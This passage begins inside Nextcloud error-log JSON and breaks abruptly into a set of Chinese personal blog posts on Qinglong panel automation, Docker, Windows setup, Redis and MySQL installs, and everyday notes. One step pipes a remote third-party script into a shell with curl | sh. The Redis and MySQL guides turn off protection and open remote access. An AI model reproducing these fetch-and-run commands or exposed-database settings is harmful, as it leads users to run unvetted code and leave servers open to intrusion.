ile":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"n4bvvTLyMbm89MtoeIvS","level":4,"time":"2022-11-09T12:56:13+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"PUT","url":"/apps/user_status/heartbeat","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"n4t8IpiuQHnW8tan0A1X","level":4,"time":"2022-11-09T12:56:13+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/apps/encryption/ajax/getStatus","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced ***"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"e0clfvKNL8yoA3xA9CG6","level":4,"time":"2022-11-09T12:56:16+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app": ### 【青龙面板】京东cookie获取pt_key和pt_pin 1)浏览器输入 用账号登陆,或者手机验证码登陆。电脑版的京东cookie,是找不到key和pin。 电脑版京东cookie有效期很短,不知道手机版的京东cookie有效期多久。 2)浏览器按F12,查看cookie 按照以下格式形成自己的jd_cookie pt_key=复制插件搜索出来的key值;pt_pin=复制插件搜索出来的pin值; ,后面的英文引号;是必须要的 给一个京东cookie具体示例 pt_key=jdDC2F833333EFDGTCE5BD4AD1A952D4F4DF84A46052;pt_pin=jd_123456; 3)可以使用谷歌EditThisCookie插件查看 安装好后,打开插件,点击放大镜工具栏,搜索pt_key和pt_pin。 ### 【青龙面板】哔哩哔哩 bilibili 自动签到和自动投币 1)下载脚本bilibili_daily_up.7z 1667737741-bilibili_daily_up下载 下载bilibili_daily_up.7z,然后解压,把文件夹放到scripts下面(就是dockers 里面的scripts) 2)获取哔哩哔哩 bilibili的cookie和青龙面板设置cookie 浏览器登陆哔哩哔哩 bilibili获取cookie,然后填到COOKIE_LIST=['''cookie'''],注意cookie前后有三个''' 3)创建哔哩哔哩 bilibili定时任务(每天凌晨1点执行) 名称:哔哩哔哩 bilibili 升级 命令:task bilibili_daily_up/main.py 定时规则:0 0 1 * * * 4)执行哔哩哔哩 bilibili定时任务 执行结果 ### 【青龙面板】设置京东自动领京东豆,做农场浇水等任务 1)首先设置Server酱(可以微信通知信息) 登陆网址:https://sct.ftqq.com/,点击网页右上角的登入,用微信扫一扫,然后点击二维码下方的扫码后点此继续 Server酱 首页有相关的Server酱介绍 2)dockers 创建青龙面板 docker run -dit -v E:/ql/config:/ql/config -v E:/ql/log:/ql/log -v E:/ql/db:/ql/db -v E:/ql/scripts:/ql/scripts -v E:/ql/jbot:/ql/jbot -v E:/ql/repo:/ql/repo -p 5700:5700 -e ENABLE_HANGUP=true -e ENABLE_WEB_PANEL=true --name qinglong --hostname qinglong --restart always whyour/qinglong:latest 会在E盘里创建ql文件夹,如果是Linux系统,则要修改文件夹路径 3)青龙面板设置 点击开始安装 通知方式选择Server酱,serverChanKey就是第一步点击扫码后点此继续后,页面会给出一个key,也可以点击跳过 设置青龙面板登陆密码 4)青龙面板服务安装依赖库 进入青龙面板 docker exec -it qinglong bash 输入依赖命令 curl -fsSL https://api.dujin.org/js/qinglong/qinglong-yilaiku-dujin.org.sh | sh 5)青龙面板添加依赖库 执行命令行,防止安装依赖库失败 npm config set registry https://registry.npmmirror.com/ Linux 依赖库 bizCode bizMsg lxml Python3 依赖库 requests canvas ping3 jieba aiohttp NodeJs 依赖库 crypto-jsprettytabledotenvjsdomdate-fnstough-cookietslibws@7.4.3ts-md5jsdom -gjiebafsform-datajson5global-agentpng-js@types/noderequiretypescriptjs-base64axiosmomentds 6)设置京东COOKIE 登陆京东官网,然后用账号登陆,或者手机APP扫描登陆。浏览器按F12,找到network,name列表选择一个,header 里找到cookie,点击右键选择copy value 7)定时任务选择一个点击执行 这样就可以自动执行签到等其他任务 ### Windows 11 安装python 1)下载python 2)安装python 打开安装包,执行安装 cmd输入python ### 广汽菲克就这样倒闭了? 2022年11月3日,广汽菲亚特克莱斯勒汽车有限公司新增一则破产审查案件,申请人为该公司,经办法院为湖南省长沙市中级人民法院。 这个星期看了下公众号,都没维护了,还想看上次是多少公里做的保养,上次保养主要是看车的左前日行灯和音箱故障灯。音箱故障灯倒是修好了,插头脱落。日行灯底座接触不良,没配件没修。走的时候还一个劲的推销质保延长,说是电器,配件老化质保,好像收费5000多,将近6000。还好没被忽悠。 对了还有在外面保养,还不能消除保养灯,清零不了。只能到4S店清理,这下好了,等车到保养的时候,还清不了。🤯,以后只能在途虎保养了,离家也近不到2KM。 最后想想开公司,不认真产品,不把用户放在第一位,定价不合理,是做不长的。 ### Windows 系统 常用软件 官网地址 昨天系统重新安装了,然后百度搜了一下。 百度上搜的都是广告和乱七八糟的网站,下载的还可能是病毒。 所以我收集了常用软件的官网地址,下次安装可以直接下载了。 名称备注官网-下载地址Adobe Lightroom ClassicPS工具https://www.adobe.com/products/photoshop.htmlAdobe Photoshop 2022PS工具https://www.adobe.com/products/photoshop.htmlIntelliJ IDEA编写代码工具https://www.jetbrains.com/idea/download/#section=windowsWallpaper Engine:壁纸引擎壁纸Steam原神游戏https://autopatchcn.yuanshen.com/client_app/download/launcher/20220920152438_VzlQFUfdLi1IOAMe/pcadbdpz/yuanshen_setup_20220914134524.exeFinalShellSSH连接工具http://www.hostbuf.com/downloads/finalshell_install.exeSnipaste截图工具https://assets.sayori.moe/snipaste-dl/archives/Snipaste-2.7.3-Beta-x64.zipHeidiSQLMySQL工具https://www.heidisql.com/download.phpUltraISO系统工具https://www.ultraiso.com/download.htmlMIIIW CONNECT鼠标软件https://www.mi.com/service/notebook/drivers/gaming-mouseNavicat Premium 16MySQL工具http://www.navicat.com.cn/store/navicat-premium/purchaseXMind思维导图https://xmind.cn/CCleaner这个清理注册表有风险,战地2042两次因为注册表清理,打开黑屏https://www.ccleaner.com/zh-cnSD Card FormatterU盘刻录工具https://www.sdcard.org/downloads/formatter/eula_windows/SDCardFormatterv5_WinEN.zipPicGo图床https://picgo-1251750343.cos.ap-chengdu.myqcloud.com/2.3.1-beta.7/PicGo-Setup-2.3.1-beta.7-x64.exeTypora博客写作工具https://download.typoraio.cn/windows/typora-setup-x64.exeRaspberry Pi Imager树莓派烧录工具https://www.raspberrypi.com/software/魔方系统工具https://www.ruanmei.com/Origin游戏https://origin-a.akamaihd.net/EA-Desktop-Client-Download/installer-releases/EAappInstaller.exeSteam游戏https://store.steampowered.com/about/MSI Afterburner微信系统监测工具https://tw.msi.com/Landing/afterburner/graphics-cards火绒安全软件防火墙,防弹窗https://www.huorong.cn/网易云音乐音乐播放器https://music.163.com/#/downloadWeGameQQ腾讯软件,类型Steamhttps://www.wegame.com.cn/谷歌浏览器浏览器华硕光盘自带安装谷歌浏览器3DMark电脑跑分软件SteamMotrix下载工具,类似迅雷,不如迅雷好用https://motrix.app/剪映专业版(抖音)视频编辑软件https://lv.ulikecam.com/为知笔记个人笔记软件https://www.wiz.cn/zh-cn/download.htmlcudatext文本编辑器https://cudatext.github.io/download.html ### 小米电脑蓝牙音响重置蓝牙 📍 问题:小米电脑蓝牙音响如何重置蓝牙 📍 方法:按住开机键+音量(-),就可以重置蓝牙。重新连接。 ### 九号mmax110p 前轮车架号挡泥板 原来是没有的,就两个洞,可以看见车架号。 下雨天,晴天都有灰尘和水会进去。应该对里面的设备有影响,花点钱挡泥板堵上。 闲鱼购买 ### Nextcloud Docker数据库中的一些列缺少对 BigInt 的转换 如果nextcloud报这个错误,则可以使用下面的命令行解决。 执行下面的代码: docker exec --user www-data -it nextcloud php occ db:convert-filecache-bigint PS C:WINDOWSsystem32> docker exec --user www-data -it nextcloud php occ db:convert-filecache-bigint Following columns will be updated: * file_metadata.id This can take up to hours, depending on the number of files in your instance! Continue with the conversion (y/n)? [n] y ### 2023年1月1日,杭州备案非标电动车不能上路了 还真的是备案非标淘汰,黄牌的还可以上路。 不能上路的是这些车牌(今年新国标的电动车白买了,浪费好多钱)。不过旧电瓶车的黄牌,铁皮的黄牌掉了,补办不了。 经正式注册登记的电动自行车(悬挂黄色铁牌或电子号牌)不受影响,可以继续在路面行驶! ### npm start 后台运行 1)安装PM2 cnpm install pm2 -g 2)设置启动项目 pm2 start "/usr/local/bin/npm" --name "DouYin" -- start . /usr/local/bin/npm路径可以用which npm查看 3)查看启动项目状态 pm2 list ### CudaText设置中文 1)下载中文包 打开 CudaText下载网址找到【translations】文件夹,下载【translation.zh_CN.zip】 把translation.zh_CN.zip压缩包里的两个文件放到datalang里 2)设置CudaText中文 然后重启 ### Windows 11 开机自动启动移动热点 才发现带WiFi的主板可以当路由器用。😂 1)修改Windows策略 使用Windows PowerShell 执行set-executionpolicy remotesigned 如果要恢复策略,则执行set-executionpolicy restricted命令行 2)创建bat文件 在C:UsersChengAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup文件路径下创建一个pondsihotspot.bat文件,并输入下面的命令行 powershell -executionpolicy remotesigned -file "C:UsersChengAppDataRoamingMicrosoftWindowsStart MenuProgramsStartuppondsihotspot.ps1" exit 3)创建PS1文件 可以在其他文件夹下创建一个pondsihotspot.ps1文件,只要bat文件路径对的就行。 输入下面的代码 Add-Type -AssemblyName System.Runtime.WindowsRuntime $asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and $_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0] Function Await($WinRtTask, $ResultType) { $asTask = $asTaskGeneric.MakeGenericMethod($ResultType) $netTask = $asTask.Invoke($null, @($WinRtTask)) $netTask.Wait(-1) | Out-Null $netTask.Result } Function AwaitAction($WinRtAction) { $asTask = ([System.WindowsRuntimeSystemExtensions].GetMethods() | ? { $_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and !$_.IsGenericMethod })[0] $netTask = $asTask.Invoke($null, @($WinRtAction)) $netTask.Wait(-1) | Out-Null } $connectionProfile = [Windows.Networking.Connectivity.NetworkInformation,Windows.Networking.Connectivity,ContentType=WindowsRuntime]::GetInternetConnectionProfile() $tetheringManager = [Windows.Networking.NetworkOperators.NetworkOperatorTetheringManager,Windows.Networking.NetworkOperators,ContentType=WindowsRuntime]::CreateFromConnectionProfile($connectionProfile) if ($tetheringManager.TetheringOperationalState -eq 1) { "" } else{ Await ($tetheringManager.StartTetheringAsync()) ([Windows.Networking.NetworkOperators.NetworkOperatorTetheringOperationResult]) } 然后重启查看移动热点是否开启 ### Windows 11 Docker 开机自动启动 1、点击dockers右上方齿轮图标 点击右上角的设置 2、点击General 在General,勾选Start Docker Desktop when you login in 就可以开机自启动了。 ### Windows 11 设置开机无密码自动登陆 一、登陆账号更改为本地账号登陆 二、修改注册表 win+R 输入regedit 找到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionPasswordLessDevice 。 修改DevicePasswordLessBuildVersion值为0(初始值是2) 三、设置账户空密码 安装文章操作:Windows 设置远程桌面无密码账号登录 四、设置账号 win + R,输入control userpasswords2 要使用本计算机,用户必须输入用户名和密码(E),勾取消掉 ### Windows 11 安装Redis 一、从官网下载reids https://github.com/microsoftarchive/redis/releases/tag/win-3.2.100 一直点击下一步 二、验证是否安装成功 点击我的电脑的管理,服务和应用程序→服务 查看列表的redis是否启动 Windows 11 reids 打开cmd输入.\redis-cli.exe -h 127.0.0.1 -p 6379 能连接上说明安装成功 三、设置远程登陆和无密码登陆 进入Redis文件夹根目录,修改redis.windows.conf和redis.windows-service.conf。 注释掉 bind 127.0.0.1,设置远程登陆 四、解决磁盘被占用问题 修改redis.windows.conf和redis.windows-service.conf的protected-mode yes 该为protected-mode no ### Windows 11 安装MySQL 一、从官网下载 二、安装MySQL 用管理员身份打开Windows PowerShell 进入MySQL文件夹 e: cd mysql cd bin 然后输入 .mysqld --initialize --console root@localhost: qx;MNy4:Q(k) qx;MNy4:Q(k)为root初始密码 三、将MySQL设置为Windows服务 .mysqld -install 四、启动MySQL服务 net start mysql 五、登录MySQL .mysql -u root -p 六、修改root初始密码 alter user 'root'@'localhost' identified by '想要设置的密码'; commit; 六、设置MySQL远程登陆 #创建用户 create user '用户名'@'%' identified by '密码'; #设置远程登陆 ALTER USER '用户名'@'%' IDENTIFIED WITH mysql_native_password BY '密码'; ### Windows 11 部署 Docker 一、登录官网下载docker安装程序 二、安装 点击Docker Desktop Installer安装dockers 三、解决WSL 2 installaton is incomplete. 先检查下是否开启了适用于Linux的Windows子系统,没勾上的勾上。 打开路径:控制面板→程序→程序和功能→启用或关闭Windows功能 电脑重启后,还是报错。则可能是没下载wsl_update_x64.msi文件 